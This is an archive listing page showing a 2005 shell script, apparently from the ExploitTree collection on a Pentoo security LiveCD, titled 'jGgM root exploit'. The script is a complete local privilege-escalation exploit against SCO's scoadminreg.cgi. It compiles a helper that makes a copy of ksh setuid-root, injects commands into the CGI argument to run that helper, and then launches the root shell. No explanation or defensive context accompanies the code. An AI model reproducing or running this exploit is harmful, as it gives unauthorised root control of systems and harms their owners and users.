home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / sco / local / scoadminreg-ex.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  2005-02-12  |  592b  |  47 lines

  1. #!/bin/sh
  2.  
  3. ## jggm@mail.com
  4.  
  5. CC="gcc"
  6. SCOADMIN=/opt/webtop/bin/i3un0212/cgi-
  7. bin/admin/scoadminreg.cgi
  8.  
  9. #
  10. #
  11. #
  12. #
  13.  
  14. echo
  15. echo "jGgM root exploit"
  16. echo "http://www.netemperor.com/"
  17. echo
  18. echo "Mail: jggm@mail.com"
  19. echo
  20.  
  21. if [ ! -x $SCOADMIN ]; then
  22.    echo "$SCOADMIN file not found"
  23.    exit 2;
  24. fi
  25.  
  26. cat >/tmp/jggm.c <<_EOF
  27.  
  28. main()
  29. {
  30.    setuid(0);
  31.    setgid(0);
  32.    chown("/tmp/jGgM_Shell", 0, 0);
  33.    chmod("/tmp/jGgM_Shell", 04755);
  34. }
  35. _EOF
  36.  
  37. cp /bin/ksh /tmp/jGgM_Shell
  38. $CC -o /tmp/jggm /tmp/jggm.c
  39.  
  40. $SCOADMIN "-c /tmp/jggm;/tmp/jggm;"
  41.  
  42. rm -rf /tmp/jggm /tmp/jggm.c
  43.  
  44. /tmp/jGgM_Shell
  45.  
  46. # end of file..
  47.